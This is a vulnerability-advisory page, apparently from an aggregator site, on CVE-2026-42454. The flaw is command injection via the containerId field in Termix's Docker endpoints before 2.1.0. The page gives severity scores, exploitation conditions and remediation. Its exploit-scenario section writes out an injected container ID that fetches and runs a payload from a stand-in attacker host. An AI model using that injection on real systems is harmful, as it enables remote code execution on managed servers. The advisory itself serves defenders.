Skip to main content

Termix CVE-2026-42454

CRITICAL
OS Command Injection (CWE-78)
2026-05-08 GitHub_M
9.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Termix as low-priv user
  2. Delivery
    Select or reference a managed server
  3. Exploit
    Send Docker endpoint request with malicious containerId
  4. Execution
    Shell metacharacters break out of docker command
  5. Persist
    ssh2 exec runs payload on remote host
  6. Impact
    Arbitrary code execution on managed server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) an authenticated Termix account (CVSS PR:L - any valid low-privileged user, not necessarily admin), and (2) that the target host is registered as a managed server the account can reach through Termix. The concrete trigger is any Docker container-management endpoint that accepts the containerId path parameter or WebSocket message field on a version prior to 2.1.0; the attacker sets containerId to a value containing shell metacharacters. Limiting factors: valid credentials are needed (no unauthenticated path), the deployment must actually use Termix's Docker management feature against at least one managed server, and the affected version must be < 2.1.0. No admin role, no user interaction, and no non-default configuration beyond having managed servers are required.

Impact

The signals are mixed. CVSS 3.1 is 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H): network-reachable, low-complexity, only low privileges needed, no user interaction, and a scope change reflecting that code executes on downstream managed servers - a severe technical outcome (SSVC Technical Impact: total). Against that, exploitation-likelihood signals are low: EPSS is 0.07% (22nd percentile), SSVC records Exploitation: none and Automatable: no, and there is no public exploit identified. The PR:L requirement means an attacker must first hold a valid Termix account, and Termix is a niche product, so real-world mass exploitation is unlikely despite the near-maximal CVSS. This is a genuine priority for anyone actually running Termix (trivial for any authenticated user to weaponize) but not a broad internet-wide emergency. Note SSVC Automatable:no conflicts somewhat with AC:L/PR:L - injection itself is trivial, so 'automatable' likely reflects the need for prior authentication rather than exploit difficulty.

Exploit ScenarioDerived

A low-privileged but authenticated Termix user opens a Docker container view (or sends a WebSocket message) and supplies a container ID such as x; curl http://attacker/s | sh. Termix interpolates that value into a shell command and runs it over SSH on the selected managed server, executing the attacker's payload with the privileges of Termix's SSH account. No user interaction from an admin and no special exploit tooling is required; no public POC has been published, but the injection is trivial to construct.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenticated user run arbitrary OS commands on any managed remote server. The Docker container-management endpoints pass the attacker-controlled containerId (from the URL path and WebSocket messages) straight into shell commands run over SSH via ssh2.Client.exec() with no sanitization, so a crafted container ID achieves full command injection. Rated CVSS 9.9 with no public exploit identified at time of analysis; EPSS is very low (0.07%) and it is not on CISA KEV.

RemediationAI

Vendor-released patch: upgrade to Termix 2.1.0 or later (release-2.1.0-tag), which adds input sanitization/validation for container identifiers; download the platform build from https://github.com/Termix-SSH/Termix/releases/tag/release-2.1.0-tag and review advisory GHSA-c2g2-hqgq-6w9v. If immediate patching is not possible, treat every Termix account as capable of RCE on managed hosts: restrict Termix access to a minimal set of fully trusted operators, place the web UI behind a VPN or IP allowlist to shrink the authenticated-attacker pool, disable or block use of the Docker container-management feature/endpoints if unused, and reduce the privileges of the SSH credentials Termix uses on managed servers so a successful injection lands with least privilege rather than root. These controls limit blast radius but do not remove the injection, so upgrading remains the only real fix.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Termix orchestrates remote servers by opening SSH sessions (node.js ssh2 library) and invoking Docker CLI commands on those hosts. The flaw is a classic CWE-78 OS Command Injection: the containerId value is string-interpolated directly into the shell command string handed to ssh2.Client.exec(), which spawns a shell on the remote host. Because the remote side runs the composed string through a shell rather than executing an argv array, shell metacharacters (;, |, $(), backticks, &&) in the container ID break out of the intended docker command and execute attacker-supplied commands. The CPE cpe:2.3:a:termix-ssh:termix:*:* identifies all versions prior to the 2.1.0 fix as affected.

Know when Termix gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Network-reachable endpoint, trivial injection (AC:L), any authenticated user (PR:L), no interaction; code runs on downstream managed hosts (S:C) giving full C/I/A on those systems.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.1.0, all Docker container management endpoints in Termix interpolate the containerId URL path parameter and WebSocket message field directly into shell commands executed via ssh2.Client.exec() on remote managed servers without any sanitization or validation. An authenticated attacker can inject arbitrary OS commands by crafting a malicious container ID, achieving Remote Code Execution on any managed server. This issue has been patched in version 2.1.0.

Executive ViewAI

Why It Matters

Termix server management platform versions prior to 2.1.0 allow any authenticated user to execute arbitrary operating system commands on all managed infrastructure by exploiting unsanitized Docker container-management endpoints (CVSS 9.9). This creates a critical vulnerability to insider threats and account compromise, potentially enabling infrastructure-wide control through a single malicious or breached privileged user.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: restrict Termix administrative console access using strong authentication and least-privilege principles; disable container-management API endpoints if operationally unnecessary; implement real-time alerting on container-management endpoint access and SSH command execution from Termix instances; segment Termix infrastructure from production systems; audit and strengthen privileged user credentials and access controls; monitor for anomalous shell command patterns in managed server SSH logs.

Threat Intelligence Overview

EPSS Score
0.1%
Top 78% exploitable
Prevalence
Low
niche open-source self-hosted server management tool, limited enterprise footprint
Social Media
4
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:termix-ssh:termix:*:*:*:*:*:*:*:*

More in Termix

View all
CVE-2025-59951 CRITICAL POC
9.2 Oct 01

Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro

CVE-2026-22804 HIGH POC
8.0 Jan 12

Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja

CVE-2026-45744 CRITICAL
9.9 Jun 05

Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat

CVE-2026-53545 CRITICAL
9.8 Aug 19

OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can

CVE-2026-45748 CRITICAL
9.8 Jun 05

OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated

CVE-2026-53546 CRITICAL
9.6 Aug 19

Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo

CVE-2026-53548 CRITICAL
9.6 Aug 19

Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate

CVE-2026-79766 CRITICAL
9.1 Sep 24

Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c

CVE-2026-45746 CRITICAL
9.0 Jun 05

Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a

CVE-2026-45750 CRITICAL
9.0 Jun 05

Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr

CVE-2026-53542 HIGH
8.8 Aug 19

Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-

CVE-2026-53547 HIGH
8.8 Aug 19

Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy